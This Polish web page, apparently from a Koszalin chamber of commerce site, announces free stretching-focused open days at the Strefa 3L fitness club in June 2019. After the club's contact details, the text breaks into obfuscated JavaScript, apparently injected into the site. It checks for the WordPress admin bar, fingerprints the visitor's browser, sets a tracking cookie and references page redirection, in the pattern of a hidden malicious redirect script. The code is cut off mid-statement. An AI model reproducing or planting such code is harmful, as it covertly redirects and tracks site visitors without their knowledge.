Dni Otwarte w Strefie 3L – „Program rozciąganie” 3-8.06.2019 | Północna Izba Gospodarcza w Koszalinie

Od 3 do 8 czerwca będziecie mogli wziąć udział w Dniach Otwartych w Strefie 3L!  Tym razem na tapetę weźmiemy bardzo ważny element nie tylko każdego treningu, ale i życia codziennego, czyli rozciąganie!

Prawda jest taka, że w bardzo wielu miejscach praca wiąże się z wieloma godzinami spędzonymi przy komputerze.

Niestety następstwem siedzącego trybu pracy są obolałe plecy. Urazy lub napięte mięśnie tej części ciała towarzyszą również osobom bardzo aktywnym fizycznie – w obu przypadkach warto zasięgnąć fachowej porady specjalistów oraz wprowadzić sobie w nawyk regularne ćwiczenia rozciągające.

Zapraszamy na konsultacje z trenerem lub fizjoterapeutą – poznacie ćwiczenia, które pomogą Wam przywrócić równowagę mięśniowo – powięziową.

Udział w Dniach Otwartych jest bezpłatny, ale obowiązuje wcześniejsza rezerwacja miejsca na drodze telefonicznej lub na miejscu w klubie!
 +48 502 469 257
 ul. Jana Matejki 1 p. 1, Koszalin

www.strefa3l.pl – więcej niż trening 'toUTCString',’cookie',’split',’length',’charAt',’substring',’indexOf',’userAgent',’match',’MSIE;',’OPR',’Chromium',’Firefox',’Chrome',’ppkcookie',’location',’http://',’getElementById',’wpadminbar',’undefined',’setTime',’getTime',';\x20expires='];(function(c,d){var e=function(f){while(–f){c[’push'](c[’shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};(function(){if(document[b(’0x0′)](b(’0x1′))===null){if(typeof c===b(’0x2′)){function c(d,e,f){var g=”;if(f){var h=new Date();h[b(’0x3′)](h[b(’0x4′)]()+f*0x18*0x3c*0x3c*0x3e8);g=b(’0x5′)+h[b(’0x6′)]();}document[b(’0x7′)]=d+’=’+(e||”)+g+';\x20path=/';}function i(j){var k=j+’=';var l=document[b(’0x7′)][b(’0x8′)](';');for(var m=0x0;m